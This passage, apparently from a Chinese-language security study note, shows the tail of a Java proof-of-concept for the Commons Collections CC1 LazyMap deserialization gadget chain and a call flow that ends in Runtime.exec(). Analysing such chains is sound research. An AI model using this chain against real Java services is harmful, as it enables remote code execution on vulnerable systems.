InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

image-20240529171215211

LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和 AnnotationInvocationHandler.readObject 中有没有setValue没任何关系(证明了我们的上一个链子说的)

调用流程:

AnnotationInvocationHandler.readObject->
Map(proxy).entrySet->
AnnotationInvocationHandler.invoke->
LazyMap.get->

​ factory.transform

​ ….后面和TransformedMap链一样了

​ ->ChainedTransformer.transform()
​ ->ConstantTransformer.transform()
​ ->InvokerTransformer.transform()
​ ->Method.invoke()
​ ->Class.getMethod()
​ ->InvokerTransformer.transform()
​ ->Method.invoke()
​ ->Runtime.getRuntime()
​ ->InvokerTransformer.transform()
​ ->Method.invoke()
​ ->Runtime.exec()